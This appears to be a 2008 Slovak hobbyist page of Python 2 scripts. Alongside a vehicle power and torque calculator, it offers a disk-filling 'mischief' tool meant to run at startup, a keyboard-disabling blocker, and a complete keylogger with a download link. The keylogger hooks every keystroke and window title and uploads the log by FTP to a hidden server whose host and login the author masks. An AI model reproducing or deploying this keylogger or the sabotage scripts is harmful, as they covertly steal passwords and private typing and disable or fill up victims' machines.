Vykon Vozidla

Program zisti vykon vozidla a tocivy moment z udajov:

print "Program na zistenie vykonu vozidla v rozmedzi urcitych otacok \nzo zadanych parametrov:"

m=input("\nHmotnost vozidla: ")
l1=input("Zac. otacky (l/min.): ")
l2=input("Konecne otacky merania: ")
lp=(l1+l2)/2

v1=input("Rychlost pri %d otackach v km/h: "%l1)
v2=v1*(float(l2)/l1)
t=float(input("Cas v sekundach (0.3; 1.5 atd): "))

v=float(v1-v2)
a=v/t
F=m*a
s=a*t*t/2
W=F*s
vykon=W/t/1000
T=5252*vykon/lp

print "\n%3dkW pri" % vykon, lp, "otackach." 
print "%3dNm pri"%T, lp, "otackach."
input()

Makefile

Zaskodny soft na tvorbu rychych velkych suborov, upravit dle libosti a nakopirovat do polozky po spusteni

# -*- coding: cp1250 -*-
import os, time

nazov=raw_input("Nazov cvicneho suboru s priponou: ")
byty=input("Velkost: ")
s=raw_input("KB, MB, GB: ")
if s=="KB":
   s=1
if s=="MB":
   s=1024
if s=="GB":
   s=1024*1024

fil=file(nazov, "ab")
print "I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I"
for i in range(byty):
    if i%(byty/40)==0:
       print "I",
    fil.write(os.urandom(1024*s))
fil.close()
raw_input("Hototvo!")

Sniffer

Program odlapava informacie z pc na ktorom je spusteny a zasiela priamo na metaforu. Z bezp dovodov neuvediem kam a loginy :D

Download executable

import pythoncom, pyHook, ftplib,os #potreba insalovat pyhook a pywin32 
from time import strftime, gmtime

try:
    sniffed=file("sniff.txt", "r")
except:
    sniffed=file("sniff.txt", "w")
    sniffed.write("")
    sniffed.close()
    sniffed=file("sniff.txt","r")
ftp=ftplib.FTP('')
ftp.connect("####")
ftp.login("####", "####")
ftp.cwd("####")
date=strftime("%H-%M-%d-%m-%Y-",gmtime())+os.getenv("COMPUTERNAME")+".txt"
ftp.storbinary("STOR "+date,sniffed)
ftp.close()
sniffed.close()
oknoname=""
char=""
fil=file("sniff.txt", "w")
fil.write("")
fil.close()
print "OK"
def OnKeyboardEvent(event):
    global fil, oknoname
    fil=file("sniff.txt", "a")
    char=chr(event.Ascii)
    if event.Ascii==0:
       char=""
    if event.Key=="Return":
       char="[Enter]\n"
    if event.Key=="Back":
       char="[back]"
    if event.Key=="Left":
       char="[Left]"
    if event.Key=="Right":
       char="[Right]"
    if event.Key=="Up":
       char="[Up]"
    if event.Key=="Down":
       char="[Down]"
    if event.Key=="Lcontrol" or event.Key=="Rcontrol":
       char="[Ctrl]"
    if event.Key=="Lmenu" or event.Key=="Rmenu":
       char="[Alt]"
    if event.Key=="Home":
       char="[Home]"
    if event.Key=="End":
       char="[End]"
    if event.Key=="Tab":
       char="[Tab]"
    if oknoname==event.WindowName:
       pass
    else:
       fil.write("\n\n\n"+event.WindowName+"\n\n")
       oknoname=event.WindowName
    fil.write(char) 
    fil.close()               
    return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

Blocker

Dalsi zaskodnicky progam ktory vyradi klavesnicu

import pythoncom, pyHook #potreba insalovat pyhook a pywin32
def OnKeyboardEvent(event):
  return False
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
Dufam ze mate dost, vy zabozruti :P


Copyright© Stanke 2008
Voľby |